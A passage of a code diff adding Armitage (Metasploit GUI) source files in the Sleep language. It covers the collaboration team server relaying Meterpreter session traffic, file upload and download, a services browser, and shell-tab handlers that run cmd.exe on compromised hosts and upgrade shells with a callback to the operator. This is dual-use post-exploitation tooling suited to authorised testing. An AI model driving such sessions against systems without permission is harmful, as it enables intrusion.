writeObject($handle, result(%(error => 1, message => "Invalid login.")));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if ($app ne "armitage") {
|
||||||
|
warn("Rejected $eid (wrong application)");
|
||||||
|
writeObject($handle, result(%(error => 1, message => "Your client is not compatible with this server.\nPlease use the latest version of Armitage.")));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if ($ver < 120326) {
|
||||||
|
warn("Rejected $eid (old software -- srsly, update people!)");
|
||||||
|
writeObject($handle, result(%(error => 1, message => "Your client is outdated.\nPlease use the latest version of Armitage.")));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if ($motd ne "" && -exists $motd) {
|
||||||
|
$temp = openf($motd);
|
||||||
|
writeObject($handle, result(%(message => readb($temp, -1))));
|
||||||
|
closef($temp);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
writeObject($handle, result(%(message => "Collaboration setup!")));
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($eid !is $null) {
|
||||||
|
event("*** $eid joined\n");
|
||||||
|
warn("*** $eid joined");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# limit our replay of the event log to 100 events...
|
||||||
|
acquire($poll_lock);
|
||||||
|
if (size(@events) > 100) {
|
||||||
|
$index = size(@events) - 100;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$index = 0;
|
||||||
|
}
|
||||||
|
release($poll_lock);
|
||||||
|
|
||||||
|
#
|
||||||
|
# on our merry way processing it...
|
||||||
|
#
|
||||||
|
while $temp (readObject($handle)) {
|
||||||
|
($method, $args) = $temp;
|
||||||
|
|
||||||
|
if ($method eq "session.meterpreter_read") {
|
||||||
|
($sid) = $args;
|
||||||
|
$result = $null;
|
||||||
|
|
||||||
|
acquire($read_lock);
|
||||||
|
if (-isarray $queue[$sid] && size($queue[$sid]) > 0) {
|
||||||
|
$result = shift($queue[$sid]);
|
||||||
|
}
|
||||||
|
release($read_lock);
|
||||||
|
|
||||||
|
if ($result !is $null) {
|
||||||
|
writeObject($handle, $result);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
writeObject($handle, result(%(data => "", encoding => "base64")));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($method eq "session.meterpreter_write") {
|
||||||
|
($sid, $data) = $args;
|
||||||
|
|
||||||
|
#warn("P $sess_lock");
|
||||||
|
acquire($sess_lock);
|
||||||
|
$session = %sessions[$sid];
|
||||||
|
release($sess_lock);
|
||||||
|
#warn("V $sess_lock");
|
||||||
|
|
||||||
|
if ($data ismatch "write -c (\\d+) (.*)\n") {
|
||||||
|
($channel, $data) = matched();
|
||||||
|
|
||||||
|
$file = getFileProper("command $+ $sid $+ . $+ $channel $+ .txt");
|
||||||
|
$h = openf("> $+ $file");
|
||||||
|
writeb($h, "$data $+ \r\n");
|
||||||
|
closef($h);
|
||||||
|
deleteOnExit($file);
|
||||||
|
|
||||||
|
[$session addCommand: $id, "write -f \"" . strrep($file, "\\", "/") . "\" $channel $+ \n"];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$session addCommand: $id, $data];
|
||||||
|
}
|
||||||
|
|
||||||
|
writeObject($handle, [new HashMap]);
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.lock") {
|
||||||
|
($sid) = $args;
|
||||||
|
acquire($lock_lock);
|
||||||
|
$data = %locks[$sid];
|
||||||
|
if ($data is $null) {
|
||||||
|
%locks[$sid] = $eid;
|
||||||
|
}
|
||||||
|
release($lock_lock);
|
||||||
|
if ($data is $null) {
|
||||||
|
writeObject($handle, result(%()));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
writeObject($handle, result(%(error => "$data owns this session.")));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.unlock") {
|
||||||
|
($sid) = $args;
|
||||||
|
acquire($lock_lock);
|
||||||
|
$data = %locks[$sid];
|
||||||
|
if ($data is $null || $data eq $eid) {
|
||||||
|
%locks[$sid] = $null;
|
||||||
|
}
|
||||||
|
release($lock_lock);
|
||||||
|
writeObject($handle, result(%()));
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.log") {
|
||||||
|
($data, $address) = $args;
|
||||||
|
event("* $eid $data $+ \n");
|
||||||
|
call_async($client, "db.log_event", "$address $+ // $+ $eid", $data);
|
||||||
|
writeObject($handle, result(%()));
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.skip") {
|
||||||
|
acquire($poll_lock);
|
||||||
|
$index = size(@events);
|
||||||
|
release($poll_lock);
|
||||||
|
writeObject($handle, result(%()));
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.push") {
|
||||||
|
($null, $data) = $args;
|
||||||
|
event("< $+ $[10]eid $+ > " . $data);
|
||||||
|
writeObject($handle, result(%()));
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.poll") {
|
||||||
|
acquire($poll_lock);
|
||||||
|
if (size(@events) > $index) {
|
||||||
|
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
|
||||||
|
$index = size(@events);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64"));
|
||||||
|
}
|
||||||
|
release($poll_lock);
|
||||||
|
|
||||||
|
writeObject($handle, $rv);
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.append") {
|
||||||
|
($file, $data) = $args;
|
||||||
|
|
||||||
|
$h = openf(">>" . getFileName($file));
|
||||||
|
writeb($h, $data);
|
||||||
|
closef($h);
|
||||||
|
|
||||||
|
writeObject($handle, result(%()));
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.upload") {
|
||||||
|
($file, $data) = $args;
|
||||||
|
|
||||||
|
$h = openf(">" . getFileName($file));
|
||||||
|
writeb($h, $data);
|
||||||
|
closef($h);
|
||||||
|
|
||||||
|
deleteOnExit(getFileName($file));
|
||||||
|
|
||||||
|
writeObject($handle, result(%(file => getFileProper($file))));
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.download") {
|
||||||
|
if (-exists $args[0] && -isFile $args[0]) {
|
||||||
|
$h = openf($args[0]);
|
||||||
|
$data = readb($h, -1);
|
||||||
|
closef($h);
|
||||||
|
writeObject($handle, result(%(data => $data)));
|
||||||
|
deleteFile($args[0]);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
writeObject($handle, result(%(error => "file does not exist")));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.download_nodelete") {
|
||||||
|
if (-exists $args[0] && -isFile $args[0]) {
|
||||||
|
$h = openf($args[0]);
|
||||||
|
$data = readb($h, -1);
|
||||||
|
closef($h);
|
||||||
|
writeObject($handle, result(%(data => $data)));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
writeObject($handle, result(%(error => "file does not exist")));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($method eq "armitage.downloads") {
|
||||||
|
$response = listDownloads("downloads");
|
||||||
|
writeObject($handle, $response);
|
||||||
|
}
|
||||||
|
else if ($method eq "db.hosts" || $method eq "db.services" || $method eq "db.creds" || $method eq "session.list" || $method eq "db.loots") {
|
||||||
|
$response = [$client_cache execute: $eid, $method, $null];
|
||||||
|
|
||||||
|
if ($args !is $null && -isarray $args && size($args) == 1 && $args[0] == [armitage.ArmitageTimer dataIdentity: $response]) {
|
||||||
|
writeObject($handle, %(nochange => 1));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
writeObject($handle, $response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ("db.filter" eq $method) {
|
||||||
|
[$client_cache setFilter: $eid, $args];
|
||||||
|
writeObject($handle, %());
|
||||||
|
}
|
||||||
|
else if ("module.*" iswm $method && size($args) == 0) {
|
||||||
|
# never underestimate the power of caching to alleviate load.
|
||||||
|
$response = $null;
|
||||||
|
|
||||||
|
acquire($cach_lock);
|
||||||
|
if ($method in %cache) {
|
||||||
|
$response = %cache[$method];
|
||||||
|
}
|
||||||
|
release($cach_lock);
|
||||||
|
|
||||||
|
if ($response is $null) {
|
||||||
|
$response = [$client execute: $method];
|
||||||
|
|
||||||
|
acquire($cach_lock);
|
||||||
|
%cache[$method] = $response;
|
||||||
|
release($cach_lock);
|
||||||
|
}
|
||||||
|
|
||||||
|
writeObject($handle, $response);
|
||||||
|
}
|
||||||
|
else if ($method eq "console.create" || $method eq "console.allocate") {
|
||||||
|
$response = [$client execute: $method];
|
||||||
|
$data = [$response get: 'id'];
|
||||||
|
%consoles[$data] = 1;
|
||||||
|
writeObject($handle, $response);
|
||||||
|
}
|
||||||
|
else if ($method eq "console.destroy" || $method eq "console.release") {
|
||||||
|
%consoles[$args[0]] = $null;
|
||||||
|
[$client execute_async: $method, cast($args, ^Object)];
|
||||||
|
writeObject($handle, %());
|
||||||
|
}
|
||||||
|
else if ($method eq "module.execute" && $args[0] eq "payload") {
|
||||||
|
$response = [$client execute: $method, cast($args, ^Object)];
|
||||||
|
writeObject($handle, $response);
|
||||||
|
}
|
||||||
|
else if ($method in %async) {
|
||||||
|
if ($args) {
|
||||||
|
[$client execute_async: $method, cast($args, ^Object)];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$client execute_async: $method];
|
||||||
|
}
|
||||||
|
|
||||||
|
writeObject($handle, %());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($args) {
|
||||||
|
$response = [$client execute: $method, cast($args, ^Object)];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$response = [$client execute: $method];
|
||||||
|
}
|
||||||
|
|
||||||
|
writeObject($handle, $response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($eid !is $null) {
|
||||||
|
event("*** $eid left.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
# reset the user's filter...
|
||||||
|
[$client_cache setFilter: $eid, $null];
|
||||||
|
|
||||||
|
# cleanup any locked sessions.
|
||||||
|
acquire($lock_lock);
|
||||||
|
foreach $key => $value (%locks) {
|
||||||
|
if ($value eq $eid) {
|
||||||
|
remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
release($lock_lock);
|
||||||
|
|
||||||
|
# cleanup any consoles created by not let go of.
|
||||||
|
foreach $key => $value (%consoles) {
|
||||||
|
[$client execute_async: "console.release", cast(@("$key"), ^Object)];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub main {
|
||||||
|
global('$client $mclient');
|
||||||
|
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache');
|
||||||
|
|
||||||
|
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
|
||||||
|
|
||||||
|
#
|
||||||
|
# chastise the user if they're wrong...
|
||||||
|
#
|
||||||
|
if (size(@ARGV) < 5) {
|
||||||
|
println("Armitage deconfliction server requires the following arguments:
|
||||||
|
armitage --server host port user pass
|
||||||
|
host - the address of this host (where msfrpcd is running as well)
|
||||||
|
port - the port msfrpcd is listening on
|
||||||
|
user - the username for msfrpcd
|
||||||
|
pass - the password for msfprcd
|
||||||
|
lport - [optional] port to bind the team server to");
|
||||||
|
[System exit: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$host $port $user $pass $sport');
|
||||||
|
($host, $port, $user, $pass, $sport) = sublist(@_, 1);
|
||||||
|
|
||||||
|
if ($sport is $null) {
|
||||||
|
$sport = $port + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# some sanity checking
|
||||||
|
#
|
||||||
|
if ($host eq "127.0.0.1") {
|
||||||
|
println("Do not specify 127.0.0.1 as your msfrpcd host. This IP address\nis given to clients and they use it to connect to this server.");
|
||||||
|
[System exit: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Connect to Metasploit's RPC Daemon
|
||||||
|
#
|
||||||
|
|
||||||
|
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
|
||||||
|
while ($client is $null) {
|
||||||
|
sleep(1000);
|
||||||
|
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
|
||||||
|
}
|
||||||
|
$mclient = $client;
|
||||||
|
initConsolePool(); # this needs to happen... right now.
|
||||||
|
|
||||||
|
# set the LHOST to whatever the user specified
|
||||||
|
call_async($client, "core.setg", "LHOST", $host);
|
||||||
|
|
||||||
|
#
|
||||||
|
# setup the client cache
|
||||||
|
#
|
||||||
|
$client_cache = [new RpcCacheImpl: $client];
|
||||||
|
|
||||||
|
#
|
||||||
|
# This lock protects the %sessions variable
|
||||||
|
#
|
||||||
|
$sess_lock = semaphore(1);
|
||||||
|
$read_lock = semaphore(1);
|
||||||
|
$poll_lock = semaphore(1);
|
||||||
|
$lock_lock = semaphore(1);
|
||||||
|
$cach_lock = semaphore(1);
|
||||||
|
|
||||||
|
#
|
||||||
|
# create a thread to push console messages to the event queue for all clients.
|
||||||
|
#
|
||||||
|
fork({
|
||||||
|
global('$r');
|
||||||
|
while (1) {
|
||||||
|
$r = call($client, "console.read", $console);
|
||||||
|
if ($r["data"] ne "") {
|
||||||
|
acquire($poll_lock);
|
||||||
|
push(@events, formatDate("HH:mm:ss") . " " . $r["data"]);
|
||||||
|
release($poll_lock);
|
||||||
|
}
|
||||||
|
sleep(2000);
|
||||||
|
}
|
||||||
|
}, \$client, \$poll_lock, \@events, $console => createConsole($client));
|
||||||
|
|
||||||
|
#
|
||||||
|
# Create a shared hash that contains a thread for each session...
|
||||||
|
#
|
||||||
|
%sessions = ohash();
|
||||||
|
wait(fork({
|
||||||
|
setMissPolicy(%sessions, {
|
||||||
|
warn("Creating a thread for $2");
|
||||||
|
local('$session');
|
||||||
|
$session = [new MeterpreterSession: $client, $2, 0];
|
||||||
|
[$session addListener: lambda({
|
||||||
|
if ($0 eq "commandTimeout" || $2 is $null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
acquire($read_lock);
|
||||||
|
|
||||||
|
# $2 = string id of handle, $1 = sid
|
||||||
|
if (%readq[$2][$1] is $null) {
|
||||||
|
%readq[$2][$1] = @();
|
||||||
|
}
|
||||||
|
|
||||||
|
#warn("Pushing into $2 -> $1 's read queue");
|
||||||
|
#println([$3 get: "data"]);
|
||||||
|
push(%readq[$2][$1], $3);
|
||||||
|
release($read_lock);
|
||||||
|
})];
|
||||||
|
return $session;
|
||||||
|
});
|
||||||
|
}, \%sessions, \$client, \%readq, \$read_lock));
|
||||||
|
|
||||||
|
#
|
||||||
|
# get base directory
|
||||||
|
#
|
||||||
|
setupBaseDirectory();
|
||||||
|
|
||||||
|
#
|
||||||
|
# setup the database
|
||||||
|
#
|
||||||
|
checkError($null); # clear the error status...
|
||||||
|
local('$database $error');
|
||||||
|
$database = connectToDatabase();
|
||||||
|
[$client setDatabase: $database];
|
||||||
|
|
||||||
|
if (checkError($error)) {
|
||||||
|
|
||||||
|
println("
|
||||||
|
** Error ** ** Error ** ** Error ** ** Error ** ** Error **
|
||||||
|
|
||||||
|
Could not connect to the Metasploit database. It's possible
|
||||||
|
that it's not running. Follow the database troubleshooting
|
||||||
|
steps at:
|
||||||
|
|
||||||
|
http://www.fastandeasyhacking.com/start
|
||||||
|
|
||||||
|
Also note: the latest Metasploit installer (4.1.4+) does not
|
||||||
|
create a postgres start script for you. This would explain
|
||||||
|
why Metasploit's database isn't running. To create one, put:
|
||||||
|
|
||||||
|
exec $BASE_DIRECTORY $+ /postgresql/scripts/ctl.sh \"\$@\"
|
||||||
|
|
||||||
|
in /etc/init.d/framework-postgres. Then start the database:
|
||||||
|
|
||||||
|
service framework-postgres start");
|
||||||
|
[System exit: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
# setup the reporting API (must happen after base directory/database is setup)
|
||||||
|
initReporting();
|
||||||
|
|
||||||
|
#
|
||||||
|
# spit out the details
|
||||||
|
#
|
||||||
|
println("Use the following connection details to connect your clients:");
|
||||||
|
println("\tHost: $host");
|
||||||
|
println("\tPort: $sport");
|
||||||
|
println("\tUser: $user");
|
||||||
|
println("\tPass: $pass");
|
||||||
|
println("\n" . rand(@("I'm ready to accept you or other clients for who they are",
|
||||||
|
"multi-player metasploit... ready to go",
|
||||||
|
"hacking is such a lonely thing, until now",
|
||||||
|
"feel free to connect now, Armitage is ready for collaboration")));
|
||||||
|
|
||||||
|
$id = 0;
|
||||||
|
while (1) {
|
||||||
|
$server = listen($sport, 0);
|
||||||
|
|
||||||
|
%readq[$id] = %();
|
||||||
|
fork(&client, \$client, $handle => $server, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
|
||||||
|
|
||||||
|
$id++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
invoke(&main, @ARGV);
|
|
@ -0,0 +1,93 @@
|
||||||
|
#
|
||||||
|
# Process Browser (for Meterpreter)
|
||||||
|
#
|
||||||
|
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
sub updateServiceModel {
|
||||||
|
local('$port $row $host');
|
||||||
|
[$model clear: 256];
|
||||||
|
foreach $host ($hosts) {
|
||||||
|
if ($host in %hosts && 'services' in %hosts[$host]) {
|
||||||
|
foreach $port => $row (%hosts[$host]['services']) {
|
||||||
|
[$model addEntry: $row];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createServiceBrowser {
|
||||||
|
local('$table $model $panel $refresh $sorter $host $copy');
|
||||||
|
|
||||||
|
$model = [new GenericTableModel: @("host", "name", "port", "proto", "info"), "host", 16];
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 2];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
addMouseListener($table, lambda({
|
||||||
|
if ([$1 isPopupTrigger]) {
|
||||||
|
local('$popup $hosts %r $val');
|
||||||
|
$popup = [new JPopupMenu];
|
||||||
|
|
||||||
|
%r = %();
|
||||||
|
foreach $val ([$model getSelectedValues: $table]) {
|
||||||
|
%r[$val] = 1;
|
||||||
|
}
|
||||||
|
$hosts = keys(%r);
|
||||||
|
|
||||||
|
if (size($hosts) > 0) {
|
||||||
|
host_selected_items($popup, $hosts);
|
||||||
|
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$table, \$model));
|
||||||
|
|
||||||
|
[[$table getColumn: "info"] setPreferredWidth: 300];
|
||||||
|
[[$table getColumn: "host"] setPreferredWidth: 125];
|
||||||
|
[$sorter setComparator: 2, { return $1 <=> $2; }];
|
||||||
|
[$sorter setComparator: 0, &compareHosts];
|
||||||
|
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({
|
||||||
|
thread(lambda({
|
||||||
|
local('$services');
|
||||||
|
$services = call($mclient, "db.services");
|
||||||
|
_refreshServices($services);
|
||||||
|
updateServiceModel(\$hosts, \$model);
|
||||||
|
}, \$hosts, \$model));
|
||||||
|
}, \$model, $hosts => $1)];
|
||||||
|
|
||||||
|
$copy = [new JButton: "Copy"];
|
||||||
|
[$copy addActionListener: lambda({
|
||||||
|
local('%r $val $hosts');
|
||||||
|
%r = %();
|
||||||
|
foreach $val ([$model getSelectedValues: $table]) {
|
||||||
|
%r[$val] = 1;
|
||||||
|
}
|
||||||
|
$hosts = keys(%r);
|
||||||
|
setClipboard(join(", ", $hosts));
|
||||||
|
showError("Copied selected hosts to clipboard");
|
||||||
|
}, \$model, \$table)];
|
||||||
|
|
||||||
|
updateServiceModel($hosts => $1, \$model);
|
||||||
|
|
||||||
|
[$panel add: center($refresh, $copy), [BorderLayout SOUTH]];
|
||||||
|
[$frame addTab: "Services", $panel, $null];
|
||||||
|
}
|
|
@ -0,0 +1,355 @@
|
||||||
|
#
|
||||||
|
# creates a tab for interacting with a shell...
|
||||||
|
#
|
||||||
|
|
||||||
|
import console.*;
|
||||||
|
import armitage.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
global('%shells $ashell $achannel %maxq %wait');
|
||||||
|
|
||||||
|
%handlers["execute"] = {
|
||||||
|
this('$command $channel $pid');
|
||||||
|
|
||||||
|
if ($0 eq "execute") {
|
||||||
|
($channel, $pid) = $null;
|
||||||
|
|
||||||
|
if ($2 ismatch "execute -t -H -c -f (.*?)") {
|
||||||
|
($command) = matched();
|
||||||
|
}
|
||||||
|
else if ($2 ismatch "execute -t -H -f (.*?) -c") {
|
||||||
|
($command) = matched();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($0 eq "update" && $2 ismatch 'Channel (\d+) created.') {
|
||||||
|
($channel) = matched();
|
||||||
|
}
|
||||||
|
else if ($0 eq "update" && $2 ismatch 'Process (\d+) created.') {
|
||||||
|
($pid) = matched();
|
||||||
|
}
|
||||||
|
else if ($0 eq "end" && $channel !is $null && $pid !is $null) {
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
local('$console');
|
||||||
|
|
||||||
|
$console = [new Console: $preferences];
|
||||||
|
logCheck($console, sessionToHost($sid), "cmd_ $+ $sid $+ _ $+ $pid");
|
||||||
|
|
||||||
|
%shells[$sid][$channel] = $console;
|
||||||
|
|
||||||
|
[[$console getInput] addActionListener: lambda({
|
||||||
|
local('$file $text $handle');
|
||||||
|
|
||||||
|
$text = [[$console getInput] getText];
|
||||||
|
[[$console getInput] setText: ""];
|
||||||
|
|
||||||
|
if (%wait[$channel]) {
|
||||||
|
[$console append: "[*] Dropped. Waiting for previous command to finish.\n" . [[$console getPromptText] trim]];
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
# work around for a whacky behavior with Java meterpreter...
|
||||||
|
if ([$text trim] eq "" && "*java*" iswm sessionPlatform($sid)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
%wait[$channel] = 1;
|
||||||
|
m_cmd($sid, "write -c $channel $text");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$handle = openf(">command $+ $sid $+ .txt");
|
||||||
|
deleteOnExit("command $+ $sid $+ .txt");
|
||||||
|
writeb($handle, "$text $+ \r\n");
|
||||||
|
closef($handle);
|
||||||
|
$file = getFileProper("command $+ $sid $+ .txt");
|
||||||
|
|
||||||
|
%wait[$channel] = 1;
|
||||||
|
m_cmd($sid, "write -f \"" . strrep($file, "\\", "/") . "\" $channel");
|
||||||
|
}
|
||||||
|
}, \$sid, \$console, \$channel)];
|
||||||
|
|
||||||
|
[$frame addTab: "$command $pid $+ @ $+ $sid", $console, lambda({
|
||||||
|
m_cmd($sid, "close $channel");
|
||||||
|
m_cmd($sid, "kill $pid");
|
||||||
|
%shells[$sid][$channel] = $null;
|
||||||
|
}, \$sid, \$channel, \$console, \$pid, \$console), "$command $pid $+ @" . sessionToHost($sid)];
|
||||||
|
|
||||||
|
m_cmd($sid, "read $channel");
|
||||||
|
}, \$command, \$channel, \$pid, $sid => $1));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
%handlers["write"] = {
|
||||||
|
this('$channel $ashell');
|
||||||
|
|
||||||
|
if ($0 eq "execute" && $2 ismatch 'write -f .*? (\d+)') {
|
||||||
|
($channel) = matched();
|
||||||
|
$ashell = %shells[$1][$channel];
|
||||||
|
}
|
||||||
|
else if ($0 eq "execute" && $2 ismatch 'write -c (\d+) .*') {
|
||||||
|
($channel) = matched();
|
||||||
|
$ashell = %shells[$1][$channel];
|
||||||
|
}
|
||||||
|
else if ($0 eq "update" && $2 ismatch '\[\*]\ Wrote \d+ bytes to channel (\d+)\.') {
|
||||||
|
deleteFile("command $+ $1 $+ .txt");
|
||||||
|
|
||||||
|
local('$channel $ashell');
|
||||||
|
($channel) = matched();
|
||||||
|
m_cmd($1, "read $channel");
|
||||||
|
}
|
||||||
|
else if ($0 eq "update" && $2 ismatch '\[\-\] .*?' && $ashell !is $null) {
|
||||||
|
[$ashell append: "\n $+ $2"];
|
||||||
|
$ashell = $null;
|
||||||
|
}
|
||||||
|
else if ($0 eq "timeout") {
|
||||||
|
deleteFile("command $+ $1 $+ .txt");
|
||||||
|
m_cmd($1, "read $channel");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
%handlers["read"] = {
|
||||||
|
if ($0 eq "update") {
|
||||||
|
if ($2 ismatch 'Read \d+ bytes from (\d+):') {
|
||||||
|
local('$channel');
|
||||||
|
($channel) = matched();
|
||||||
|
$ashell = %shells[$1][$channel];
|
||||||
|
$achannel = $channel;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($0 eq "end" && $ashell !is $null) {
|
||||||
|
local('$v $count');
|
||||||
|
$v = split("\n", [$2 trim]);
|
||||||
|
$count = size($v);
|
||||||
|
shift($v);
|
||||||
|
|
||||||
|
while (size($v) > 0 && $v[0] eq "") {
|
||||||
|
shift($v);
|
||||||
|
}
|
||||||
|
#$v = substr($v, join("\n", $v));
|
||||||
|
[$ashell append: [$ashell getPromptText] . join("\n", $v)];
|
||||||
|
$ashell = $null;
|
||||||
|
|
||||||
|
# look for a prompt at the end of the text... if there isn't one,
|
||||||
|
# then it's time to do another read.
|
||||||
|
if (size($v) > 0 && $v[-1] ismatch '.*?[>]{1,2}\s*[\w\d.]+') {
|
||||||
|
# this is to catch cases like dir /s c:\ >>somefile.txt
|
||||||
|
# doing an immediate read sometimes creates problems.
|
||||||
|
# this prevents the read from being immediate so the
|
||||||
|
# channel doesn't lock up.
|
||||||
|
|
||||||
|
# if the command returns faster (e.g., echo "whatever" >somefile)
|
||||||
|
# then this condition will never trigger as the prompt will end
|
||||||
|
# the text.
|
||||||
|
sleep(1500);
|
||||||
|
m_cmd($1, "read $achannel");
|
||||||
|
}
|
||||||
|
else if (size($v) > 0 && $v[-1] ismatch '.*?\\? \\(Yes/No/All\\):') {
|
||||||
|
# make our shell heuristic tolerant of prompts like this.
|
||||||
|
%wait[$achannel] = $null;
|
||||||
|
}
|
||||||
|
else if (size($v) > 0 && $v[-1] ismatch '.*?\\(Y/N\\)\\?') {
|
||||||
|
# make our shell heuristic tolerant of prompts like this.
|
||||||
|
%wait[$achannel] = $null;
|
||||||
|
}
|
||||||
|
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
|
||||||
|
m_cmd($1, "read $achannel");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
%wait[$achannel] = $null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
sub createShellTab {
|
||||||
|
m_cmd($1, "execute -t -H -c -f cmd.exe");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createCommandTab {
|
||||||
|
m_cmd($1, "execute -t -H -c -f $2");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub shellPopup {
|
||||||
|
local('$popup');
|
||||||
|
$popup = [new JPopupMenu];
|
||||||
|
showShellMenu($popup, \$session, \$sid);
|
||||||
|
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub showShellMenu {
|
||||||
|
item($1, "Interact", 'I', lambda(&createShellSessionTab, \$sid, \$session));
|
||||||
|
|
||||||
|
setupMenu($1, "shell", @($sid));
|
||||||
|
|
||||||
|
if ("*Windows*" iswm sessionToOS($sid)) {
|
||||||
|
item($1, "Meterpreter...", 'M', lambda({
|
||||||
|
call_async($client, "session.shell_upgrade", $sid, $MY_ADDRESS, randomPort());
|
||||||
|
}, \$sid));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
item($1, "Upload...", 'U', lambda({
|
||||||
|
local('$file $name $n');
|
||||||
|
$file = chooseFile($title => "Select file to upload", $always => 1);
|
||||||
|
$name = getFileName($file);
|
||||||
|
|
||||||
|
if ($file !is $null) {
|
||||||
|
local('$progress');
|
||||||
|
$progress = [new ProgressMonitor: $null, "Uploading $name", "Uploading $name", 0, lof($file)];
|
||||||
|
|
||||||
|
call($client, "session.shell_write", $sid, "rm -f $name $+ \n");
|
||||||
|
|
||||||
|
thread(lambda({
|
||||||
|
local('$handle $bytes $string $t $start $n $cancel');
|
||||||
|
$handle = openf($file);
|
||||||
|
$start = ticks();
|
||||||
|
|
||||||
|
while $bytes (readb($handle, 768)) {
|
||||||
|
yield 1;
|
||||||
|
|
||||||
|
if ([$progress isCanceled]) {
|
||||||
|
call_async($client, "session.shell_write", $sid, "rm -f $name $+ \n");
|
||||||
|
closef($handle);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
# convert the bytes to to octal escapes
|
||||||
|
$string = join("", map({
|
||||||
|
return "\\" . formatNumber($1, 10, 8);
|
||||||
|
}, unpack("B*", $bytes)));
|
||||||
|
|
||||||
|
